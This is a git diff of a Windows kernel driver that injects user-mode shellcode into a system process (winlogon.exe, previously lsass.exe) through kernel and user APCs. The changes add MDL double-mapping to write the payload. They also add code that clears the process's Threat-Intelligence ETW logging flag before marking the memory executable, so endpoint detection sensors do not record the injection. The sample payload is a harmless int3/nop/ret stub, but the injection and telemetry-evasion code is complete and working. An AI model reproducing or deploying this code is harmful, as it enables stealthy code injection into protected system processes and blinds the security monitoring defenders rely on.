diff --git a/KernelToUserInjector/Inc/KernelToUserInjection.h b/KernelToUserInjector/Inc/KernelToUserInjection.h index 744a4b1..6f4619c 100644 --- a/KernelToUserInjector/Inc/KernelToUserInjection.h +++ b/KernelToUserInjector/Inc/KernelToUserInjection.h @@ -7,7 +7,7 @@ // // Modifications: // 2026-04-13 Created -// 2026-04-28 Updated +// 2026-05-06 Updated // ======================================================================== // ======================================================================== @@ -30,6 +30,8 @@ #define SystemProcessInformation 0x05UL +#define ProcessEnableLogging 0x60UL + #pragma endregion // ======================================================================== @@ -109,6 +111,26 @@ typedef struct _SYSTEM_PROCESS_INFORMATION { // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; +// nt!_PROCESS_LOGGING_INFORMATION structure definition +#pragma warning(push) +#pragma warning(disable: 4201) +typedef struct _PROCESS_LOGGING_INFORMATION { + union { + ULONG Flags; + struct { + ULONG EnableReadVmLogging : 1; // Enables logging of read operations to process virtual memory. + ULONG EnableWriteVmLogging : 1; // Enables logging of write operations to process virtual memory. + ULONG EnableProcessSuspendResumeLogging : 1; // Enables logging of process suspend and resume events. + ULONG EnableThreadSuspendResumeLogging : 1; // Enables logging of thread suspend and resume events. + ULONG EnableLocalExecProtectVmLogging : 1; // Enables logging of local execution protection for virtual memory. + ULONG EnableRemoteExecProtectVmLogging : 1; // Enables logging of remote execution protection for virtual memory. + ULONG EnableImpersonationLogging : 1; // Enables logging of impersonation events. + ULONG Reserved : 25; + }; + }; +} PROCESS_LOGGING_INFORMATION, *PPROCESS_LOGGING_INFORMATION; +#pragma warning(pop) + // nt!_KAPC_ENVIRONMENT structure definition typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, @@ -132,6 +154,21 @@ EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( _Out_opt_ PULONG ReturnLength ); +EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength +); + +EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwProtectVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, @@ -207,7 +244,11 @@ EXTERN_C DECLSPEC_NOINLINE NTSTATUS __stdcall query_process_thread_by_name( /// @param SystemArgument2 Ignored KKERNEL_ROUTINE kernel_routine; -/// @brief Inject a ring 3 payload from ring 0 to a remote process using APCs +/// @brief Rundown routine for the special kernel APC +/// @param Apc Pointer to the special kernel APC object +KRUNDOWN_ROUTINE rundown_routine; + +/// @brief Inject a ring 3 payload from ring 0 into a remote process using APCs /// @param wstrImageName Pointer to a null-terminated wide-character string representing the image name of the target process /// @param pPayload KVA of the ring 3 payload buffer /// @param dwptrPayloadSize Size of the ring 3 payload buffer in bytes diff --git a/KernelToUserInjector/Misc/etwti-protectvm-log.json b/KernelToUserInjector/Misc/etwti-protectvm-log.json new file mode 100644 index 0000000..1dcf452 --- /dev/null +++ b/KernelToUserInjector/Misc/etwti-protectvm-log.json @@ -0,0 +1,86 @@ +{ + "header": { + "activity_id": "{00000000-0000-0000-0000-000000000000}", + "event_flags": 576, + "event_id": 22, + "event_name": "", + "event_opcode": 0, + "event_version": 3, + "process_id": 4, + "provider_name": "Microsoft-Windows-Threat-Intelligence", + "task_name": "KERNEL_THREATINT_TASK_PROTECTVM", + "thread_id": 6388, + "timestamp": "2026-05-05 16:00:49Z", + "trace_name": "TI-Trace" + }, + "properties": { + "BaseAddress": "0x2865F380000", + "CallingProcessCreateTime": "2026-05-03 19:35:28Z", + "CallingProcessId": 4, + "CallingProcessProtection": 114, + "CallingProcessSectionSignatureLevel": 28, + "CallingProcessSignatureLevel": 30, + "CallingProcessStartKey": 10133099161583617, + "CallingThreadCreateTime": "2026-05-05 15:40:13Z", + "CallingThreadId": 6388, + "FullRegionSize": 4096, + "LastProtectionMask": 4, + "OriginalProcessCreateTime": "2026-05-03 19:35:28Z", + "OriginalProcessId": 4, + "OriginalProcessProtection": 114, + "OriginalProcessSectionSignatureLevel": 28, + "OriginalProcessSignatureLevel": 30, + "OriginalProcessStartKey": 10133099161583617, + "ProtectionMask": 32, + "RegionSize": 4096, + "TargetAddress": "0x2865F380000", + "TargetProcessCreateTime": "2026-05-03 19:35:57Z", + "TargetProcessId": 1052, + "TargetProcessProtection": 0, + "TargetProcessSectionSignatureLevel": 0, + "TargetProcessSignatureLevel": 0, + "TargetProcessStartKey": 10133099161583637, + "VaVadAllocationBase": "0x2865F380000", + "VaVadAllocationProtect": 4, + "VaVadCommitSize": "0x1000", + "VaVadMmfName": "", + "VaVadQueryResult": 0, + "VaVadRegionSize": "0x1000", + "VaVadRegionType": 131072 + }, + "property_types": { + "BaseAddress": "POINTER", + "CallingProcessCreateTime": "FILETIME", + "CallingProcessId": "UINT32", + "CallingProcessProtection": "UINT8", + "CallingProcessSectionSignatureLevel": "UINT8", + "CallingProcessSignatureLevel": "UINT8", + "CallingProcessStartKey": "UINT64", + "CallingThreadCreateTime": "FILETIME", + "CallingThreadId": "UINT32", + "FullRegionSize": "UINT64", + "LastProtectionMask": "UINT32", + "OriginalProcessCreateTime": "FILETIME", + "OriginalProcessId": "UINT32", + "OriginalProcessProtection": "UINT8", + "OriginalProcessSectionSignatureLevel": "UINT8", + "OriginalProcessSignatureLevel": "UINT8", + "OriginalProcessStartKey": "UINT64", + "ProtectionMask": "UINT32", + "RegionSize": "UINT64", + "TargetAddress": "POINTER", + "TargetProcessCreateTime": "FILETIME", + "TargetProcessId": "UINT32", + "TargetProcessProtection": "UINT8", + "TargetProcessSectionSignatureLevel": "UINT8", + "TargetProcessSignatureLevel": "UINT8", + "TargetProcessStartKey": "UINT64", + "VaVadAllocationBase": "POINTER", + "VaVadAllocationProtect": "UINT32", + "VaVadCommitSize": "POINTER", + "VaVadMmfName": "STRINGW", + "VaVadQueryResult": "UINT32", + "VaVadRegionSize": "POINTER", + "VaVadRegionType": "UINT32" + } +} \ No newline at end of file diff --git a/KernelToUserInjector/Misc/etwti-protectvm-logging-condition-2.PNG b/KernelToUserInjector/Misc/etwti-protectvm-logging-condition-2.PNG new file mode 100644 index 0000000..98b69b6 Binary files /dev/null and b/KernelToUserInjector/Misc/etwti-protectvm-logging-condition-2.PNG differ diff --git a/KernelToUserInjector/Misc/etwti-protectvm-logging-condition.PNG b/KernelToUserInjector/Misc/etwti-protectvm-logging-condition.PNG new file mode 100644 index 0000000..9f55248 Binary files /dev/null and b/KernelToUserInjector/Misc/etwti-protectvm-logging-condition.PNG differ diff --git a/KernelToUserInjector/README.md b/KernelToUserInjector/README.md index 5244071..aee9b15 100644 --- a/KernelToUserInjector/README.md +++ b/KernelToUserInjector/README.md @@ -2,7 +2,7 @@ ## Version -- `v2.0.0` +- `v3.0.0` ## Brief @@ -18,12 +18,12 @@ ``` [DBG]: +++ KernelToUserInjector.sys Loaded +++ -[DBG]: KernelToUserInjector.sys Built Apr 27 2026 16:54:27 -[DBG]: KernelToUserInjector: DriverObject = FFFFC486721BDAF0 +[DBG]: KernelToUserInjector.sys Built May 6 2026 11:07:01 +[DBG]: KernelToUserInjector: DriverObject = FFFFE508AFD7E2F0 [DBG]: KernelToUserInjector: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelToUserInjector -[DBG]: [+] PID of target process: 744 -[DBG]: [+] TID of thread in alertable wait state: 780 -[DBG]: [+] Payload buffer UVA: 0x0000023626550000 +[DBG]: [+] PID of target process: 712 +[DBG]: [+] TID of thread in alertable wait state: 1032 +[DBG]: [+] Payload buffer UVA: 0x0000020B242E0000 [DBG]: [+] Queued a special kernel APC to the target thread! [DBG]: [+] Queued a regular user-mode APC to the target thread! [DBG]: --- KernelToUserInjector.sys Unloaded --- @@ -31,7 +31,7 @@ ## Tested OS Versions -- `Windows 11 21H2 Build 22000 Revision 675 64-bit` +- `Windows 11 25H2 Build 26200 Revision 8246 64-bit` ## References @@ -40,4 +40,5 @@ 3. [Thread APC](http://uninformed.org/index.cgi?v=3&a=4&p=20) 4. [Bypassing the Microsoft-Windows-Threat-Intelligence Kernel APC Injection Sensor](https://medium.com/@philiptsukerman/bypassing-the-microsoft-windows-threat-intelligence-kernel-apc-injection-sensor-92266433e0b0) 5. [Blackbone](https://github.com/DarthTon/Blackbone) -6. [Circumventing Windows Defender ATP's user-mode APC Injection sensor from Kernel-mode](https://rce4fun.blogspot.com/2019/04/circumventing-windows-defender-atps.html) \ No newline at end of file +6. [Circumventing Windows Defender ATP's user-mode APC Injection sensor from Kernel-mode](https://rce4fun.blogspot.com/2019/04/circumventing-windows-defender-atps.html) +7. [KernelInjector](https://github.com/0mWindyBug/KernelInjector) \ No newline at end of file diff --git a/KernelToUserInjector/Src/DrvMain.cpp b/KernelToUserInjector/Src/DrvMain.cpp index 040f26a..a9076df 100644 --- a/KernelToUserInjector/Src/DrvMain.cpp +++ b/KernelToUserInjector/Src/DrvMain.cpp @@ -7,7 +7,7 @@ // // Modifications: // 2026-04-13 Created -// 2026-04-20 Updated +// 2026-05-05 Updated // ======================================================================== // ======================================================================== @@ -54,7 +54,7 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry( // Inject ring 3 shellcode to a user-land process BYTE byarrPayload[] = { 0xCC, 0x90, 0xC3 }; // int3; nop; ret; - inject_payload(L"lsass.exe", byarrPayload, sizeof(byarrPayload)); + inject_payload(L"winlogon.exe", byarrPayload, sizeof(byarrPayload)); return STATUS_SUCCESS; } diff --git a/KernelToUserInjector/Src/KernelToUserInjection.cpp b/KernelToUserInjector/Src/KernelToUserInjection.cpp index ede77b6..7cd593b 100644 --- a/KernelToUserInjector/Src/KernelToUserInjection.cpp +++ b/KernelToUserInjector/Src/KernelToUserInjection.cpp @@ -8,7 +8,7 @@ // // Modifications: // 2026-04-13 Created -// 2026-04-28 Updated +// 2026-05-06 Updated // ======================================================================== // ======================================================================== @@ -159,6 +159,17 @@ VOID __stdcall kernel_routine( ExFreePoolWithTag(Apc, __POOLTAG__); } +_Use_decl_annotations_ +VOID __stdcall rundown_routine( + PRKAPC Apc +) { + // Free the regular user-mode APC object + ExFreePoolWithTag(Apc->SystemArgument1, __POOLTAG__); + + // Free the special kernel APC object + ExFreePoolWithTag(Apc, __POOLTAG__); +} + _Use_decl_annotations_ NTSTATUS __stdcall inject_payload( PCWSTR wstrImageName, @@ -170,9 +181,15 @@ NTSTATUS __stdcall inject_payload( UNICODE_STRING uncImageName; ZERO_MEMORY(&uncImageName, sizeof(UNICODE_STRING)); PEPROCESS pEprocess = nullptr; PETHREAD pEthread = nullptr; - KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE)); + HANDLE hProcess = nullptr; DWORD_PTR dwptrSize = 0; PVOID pBuffer = nullptr; + PMDL pMdl = nullptr; + KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE)); + BOOLEAN bLocked = false; + PVOID pBufferKva = nullptr; + PROCESS_LOGGING_INFORMATION processLoggingInformation; ZERO_MEMORY(&processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION)); + BOOLEAN bEtwTiDisabled = false; DWORD dwOldProtection = 0; PKAPC pKapcKernel = nullptr; PKAPC pKapcUser = nullptr; @@ -187,38 +204,89 @@ NTSTATUS __stdcall inject_payload( RtlInitUnicodeString(&uncImageName, wstrImageName); status = query_process_thread_by_name(&uncImageName, &pEprocess, &pEthread); if (!NT_SUCCESS(status) || pEprocess == nullptr || pEthread == nullptr) { + status = STATUS_NOT_FOUND; + goto cleanup; + } + + // Obtain a kernel handle to the target process + status = ObOpenObjectByPointer(pEprocess, OBJ_KERNEL_HANDLE, nullptr, 0, nullptr, KernelMode, &hProcess); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("[-] ObOpenObjectByPointer error: 0x%08X\n", status); + goto cleanup; + } + + // Allocate RW memory in the target process + dwptrSize = dwptrPayloadSize; + status = ZwAllocateVirtualMemory(hProcess, &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status); + goto cleanup; + } + DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer); + + // Allocate a MDL for the payload buffer in UVAS + pMdl = IoAllocateMdl(pBuffer, static_cast(dwptrSize), false, false, nullptr); + if (pMdl == nullptr) { + status = STATUS_INSUFFICIENT_RESOURCES; + DEBUG_PRINT("[-] IoAllocateMdl error: 0x%08X\n", status); goto cleanup; } // Attach the current thread to the address space of the target process KeStackAttachProcess(pEprocess, &kapcState); - // Allocate RW memory in the target process - // This userland memory is never properly cleaned up on either success or failure paths - dwptrSize = dwptrPayloadSize; - status = ZwAllocateVirtualMemory(ZwCurrentProcess(), &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!NT_SUCCESS(status)) { - DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status); + // Lock the pages in the MDL + __try { + MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess); + } __except (EXCEPTION_EXECUTE_HANDLER) { + status = STATUS_UNSUCCESSFUL; + DEBUG_PRINT("[-] MmProbeAndLockPages error: 0x%08X\n", status); KeUnstackDetachProcess(&kapcState); goto cleanup; } - DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer); - // Copy ring 3 payload from KVAS to target process UVAS - // This is quite risky! - COPY_MEMORY(pBuffer, pPayload, dwptrPayloadSize); - - // Change page protection of the allocated memory to RX - status = ZwProtectVirtualMemory(ZwCurrentProcess(), &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection); - if (!NT_SUCCESS(status)) { - DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status); - KeUnstackDetachProcess(&kapcState); - goto cleanup; - } + bLocked = true; // Detach the current thread from the address space of the target process KeUnstackDetachProcess(&kapcState); + // Map the locked pages in KVAS + pBufferKva = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, nullptr, false, HighPagePriority | MdlMappingNoExecute); + if (pBufferKva == nullptr) { + status = STATUS_INSUFFICIENT_RESOURCES; + DEBUG_PRINT("[-] MmMapLockedPagesSpecifyCache error: 0x%08X\n", status); + goto cleanup; + } + + // Copy ring 3 payload via double mapping + COPY_MEMORY(pBufferKva, pPayload, dwptrPayloadSize); + + // Query EtwTi logging flags for the target process + status = ZwQueryInformationProcess(hProcess, static_cast(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION), nullptr); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("[-] ZwQueryInformationProcess error: 0x%08X\n", status); + goto cleanup; + } + + // Disable logging of remote execution protection for virtual memory for the target process + if (processLoggingInformation.EnableRemoteExecProtectVmLogging) { + processLoggingInformation.EnableRemoteExecProtectVmLogging = 0UL; + status = ZwSetInformationProcess(hProcess, static_cast(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION)); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("[-] ZwSetInformationProcess error: 0x%08X\n", status); + goto cleanup; + } + + bEtwTiDisabled = true; + } + + // Change page protection of the allocated memory to RX + status = ZwProtectVirtualMemory(hProcess, &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status); + goto cleanup; + } + // Allocate memory for the KAPC structures pKapcKernel = static_cast(ExAllocatePoolZero(NonPagedPoolNx, sizeof(KAPC), __POOLTAG__)); if (pKapcKernel == nullptr) { @@ -236,23 +304,46 @@ NTSTATUS __stdcall inject_payload( } // Initialize the special kernel APC - KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, nullptr, nullptr, KernelMode, nullptr); + KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, rundown_routine, nullptr, KernelMode, nullptr); // Initialize the regular user-mode APC KeInitializeApc(pKapcUser, pEthread, OriginalApcEnvironment, reinterpret_cast(ExFreePool), nullptr, reinterpret_cast(pBuffer), UserMode, nullptr); // Insert the APC into the queue of the target thread + // If the driver is unloaded after the special kernel APC is queued but before the kernel / rundown routine has finished running, it would lead to bugcheck unpleasantries if (!KeInsertQueueApc(pKapcKernel, pKapcUser, nullptr, IO_NO_INCREMENT)) { status = STATUS_UNSUCCESSFUL; DEBUG_PRINT("[-] KeInsertQueueApc #1 error: 0x%08X\n", status); - ExFreePoolWithTag(pKapcKernel, __POOLTAG__); ExFreePoolWithTag(pKapcUser, __POOLTAG__); + ExFreePoolWithTag(pKapcKernel, __POOLTAG__); goto cleanup; } DEBUG_PRINT("[+] Queued a special kernel APC to the target thread!\n"); // Cleanup cleanup: + if (bEtwTiDisabled) { + processLoggingInformation.EnableRemoteExecProtectVmLogging = 1UL; + ZwSetInformationProcess(hProcess, static_cast(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION)); + } + + if (pBufferKva) + MmUnmapLockedPages(pBufferKva, pMdl); + + if (bLocked) + MmUnlockPages(pMdl); + + if (pMdl) + IoFreeMdl(pMdl); + + if (!NT_SUCCESS(status) && pBuffer) { + dwptrSize = 0; + ZwFreeVirtualMemory(hProcess, &pBuffer, &dwptrSize, MEM_RELEASE); + } + + if (hProcess) + ZwClose(hProcess); + if (pEthread) ObDereferenceObject(pEthread);